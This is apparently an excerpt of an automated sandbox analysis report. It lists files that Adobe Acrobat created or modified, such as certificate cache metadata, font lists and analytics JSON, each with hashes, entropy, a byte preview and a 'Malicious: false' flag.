SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl8V3/tfllXlE/HT8kTl1NNX8RolJuRdxLlGB9lQRYwpDdt:kKlVPeT8O7NMa8RdWBwRd
MD5:	B54907DDD582701201BF4A9747DC3733
SHA1:	763EB61CF1DA763930B0E1090405AE0F3BB5B3BB
SHA-256:	F58CAE6ED0791209138C81999BB448B222088FBF574D25848E99D10FFC87FEA1
SHA-512:	B1E626044C57A3B5B818D51C6FAABC36822A9BD7B7A35D0F9A5106F4CC8FED3A28973DFB426F4214B6EAAE72AD555FB9F758AE5AB06A90A74C3E974D7297B3F6
Malicious:	false
Preview:	p...... .........=`..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kK2L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:OiDnLNkPlE99SNxAhUe/3
MD5:	E2346937A15EE7B325AF8660F30A77F2
SHA1:	21F80B58289E098678324674F1702B9996D6E168
SHA-256:	E6012616558D47A00700362C9FC09E5B3EEEC689645D7CB73455D4446E2A0734
SHA-512:	5A78CE898B91CF836B753F5BF15021FF428D90FAD10BC685F5C5B5C729FF8F7F936386104E85DE8341F7F79088995BE4870FE9B7765902EFE053ADFB9E690051
Malicious:	false
Preview:	p...... ........Q....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.940

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.940

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3698428111653485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJM3g98kUwPeUkwRe9:YvXKXuSTTYpW7SVVGMbLUkee9
MD5:	EC56FB97B5454B7587246BDBA6DBECD1
SHA1:	1A4F74E1BBDA4E97D2F2C8AF2347F01F8C8AAE24
SHA-256:	3767B51924F38E2EF08B578B7495399D046605A83979F31087A510AB71701829
SHA-512:	8E761B888E9E836C2FB25392819A20EF1C8C10D3980A2E0E4BD774E7FCCBE793607398734B53ABFC3EB87CB7842003862CDBBDD742DD5C7A4D877D8F4E9EEE51
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.311207702283821
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfBoTfXpnrPeUkwRe9:YvXKXuSTTYpW7SVVGWTfXcUkee9
MD5:	16F7678C028375FD9CB82E6C9D4E8059
SHA1:	A5028A05348C271615FD0EA7CFA88963F8D78E2F
SHA-256:	AE2F6F6578BA82D3122EBAE9EBEBE6C4D5A3080D14FA3296623D6A71205CC1F8
SHA-512:	3AD3E3E40DB1BEF7090DC428ABA9793E6076B4E8F7C5762356E4907F6379577042EE0443D86A03A74B36A665115AA9B591CFEF753417BFC5F06EECEA6C6D756C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.290405450253025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfBD2G6UpnrPeUkwRe9:YvXKXuSTTYpW7SVVGR22cUkee9
MD5:	465C113ED9E7B48D1EBA8E8A5D16197A
SHA1:	06DB741D6ED0C0FEC6CA385838C0F7BDD07FB118
SHA-256:	81682AF4EDFAA995680253FC4C6128E3CCEAB92B6B2EDAD604E87E3F2F6B48DE
SHA-512:	F5D92764C11AD13738C4B1F34F450E9DFC1C659C1F5B30610E366873D440FF291E9FE900CEB63A2C151231933900A1C9A02E06AA63EFCF0772F3F927A61C4DAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.348963037059571
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfPmwrPeUkwRe9:YvXKXuSTTYpW7SVVGH56Ukee9
MD5:	896E0D257B21B5E6E8699769542389D9
SHA1:	1024E358E55FF223BA6BE41F18D9611FDB296863
SHA-256:	14AAB63A30A71A1471D0BAF7F9BD8A67211461BE8853E4E9665E5AF5340AA22B
SHA-512:	39A55B7B49633DB2BCF3ED42FA342DE0CAAFBC227631F3447D9C9A5F17C0FC2A2F6F5CAD727B6B7EABD7F1B3205CE7DE0C5836D9267A47187303F8FAE4949293
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6949995955323365
Encrypted:	false
SSDEEP:	24:Yv6XuS8iS6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSx:YvYDS6hgy6SAFv5Ah8cv/x
MD5:	759052DDE7F439DBCB8A903C87E029BE
SHA1:	BE517FA1F3F79BEB9402229E58EA9B8E21F617E0
SHA-256:	4D51708AA5919558B8B8EAA391C1C23CBBB46E353CB4B0512804E1033CD49EEC
SHA-512:	DA390345CCC06A03B03E88E3D3AC28C2232D328310695BE0B3CDB9DB918A77E6487D8DCAB93D5BB4117583CD9318328CD11A62716D0DCE28E549015919DE3EBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294555242722577
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJf8dPeUkwRe9:YvXKXuSTTYpW7SVVGU8Ukee9
MD5:	ED750F1E3D01DC372DA0F519DB199ED5
SHA1:	0E5200AFC814700D8F9E918D993D99F39B9B6679
SHA-256:	DC60D074059F96748174B7FEB2100B88918E5A83295C0A2F037EBEBC68C958CC
SHA-512:	7B59BA17B380464F548879E4558D6FB939F528E8D4FC97465FF6219EA8746E50CCDD9D9EC864467B8FF2C450FDC47C38196E2CBC48E80318FC787361BF7B0969
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.295566383441519
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfQ1rPeUkwRe9:YvXKXuSTTYpW7SVVGY16Ukee9
MD5:	A716D4887273D521AF4536D6B2521806
SHA1:	D5FC1E7791CA9AA4FFFF552C7D9A4BF1B2D804B9
SHA-256:	A8D2A0376CA4F3EE21F657FEE710DB8F5CDFFF8372F588EA05FDEF7D8F78090A
SHA-512:	61C6246896A799B6E0251BCD47467F0AED92CF289DEA47E3C6CC7D73E1BC3CDA22D49E5F37ECDC4FD448171F7D26308159105A8C71F227DDC89711B16281A6BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.313180548404076
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfFldPeUkwRe9:YvXKXuSTTYpW7SVVGz8Ukee9
MD5:	D1DDDD92C0BAD29A88070D8E8E751470
SHA1:	F86136FB9C9B241BCF48DBE42CD4332DD0551A4D
SHA-256:	DCE603D64950A4E3B248FA1C0384FEA29882CA8C0A99E9C0365B9FC79C76D4CC
SHA-512:	E3AE90CA51E1CD48530749B0F75C37541C73C235A9731F529AB6F04F2681B4052ED569E29555B6215B5DDDB66E83EE9DDE648AAE202565D135E6BF48CCAEEA89
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.321373723042622
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfzdPeUkwRe9:YvXKXuSTTYpW7SVVGb8Ukee9
MD5:	40F6E2068E65A9D94554884132DCCE57
SHA1:	10144C2FD78B363EE50ADE6F4656BFF3A34A459A
SHA-256:	D1476C5870700377B37524AF44D2628F4F742D7BAC8FB9127CF457B49C379343
SHA-512:	A899C1527BE30C63A601CCF98F298D09BF2C67DA73790C10CBF722FBEB9FCDC93513849CA0D525204F4EBCCF2D28B078E234B176B7C7195153F7F0DB4C1440B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301765379966115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJfYdPeUkwRe9:YvXKXuSTTYpW7SVVGg8Ukee9
MD5:	CEAE77A5DF67BAB9E04668D803C48B44
SHA1:	F1419A348E75C21424860E78753D17C75365F051
SHA-256:	DB7469D562436C0474F5CB39865FC33128F961B734AB4E663A00C531FAFA65F8
SHA-512:	94BA18E7690548481901D968195447CD151AB7CBA2C3C020AF110DA9168E32F909557F2DB7B5610E03CB6060D35837BAE519FED5E11E2DDFE7E957A7F9A71E08
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"83d77107-18d4-4ab5-9681-6bf5006d2b7e","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736742298794,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.287846833422195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPWB3DsFTDg7+FIbRI6XVW7+0Y0UVeoAvJf+dPeUkwRe9:YvXKXuSTTYpW7SVVG28Ukee9
MD5:	8C443BCAA9240D68266970A09700E801
SHA1:	CD9132F12D7E18000ABA80E48754A5CA4B5DC1D3
SHA-256:	4226F77DB255FDDF6BA8D286A8FA1C527DFCBA4490C0C80ECF70F4EC7CE901C4
SHA-512:	538296233FE0C108028248C1E62CC71E0A13BA66219F9A0272404205072D6CE70AEE50C0A3B65F04DB6026CADFFD53090FFB823DD2133D7B61969BB845EEB1BC
Malicious:	false
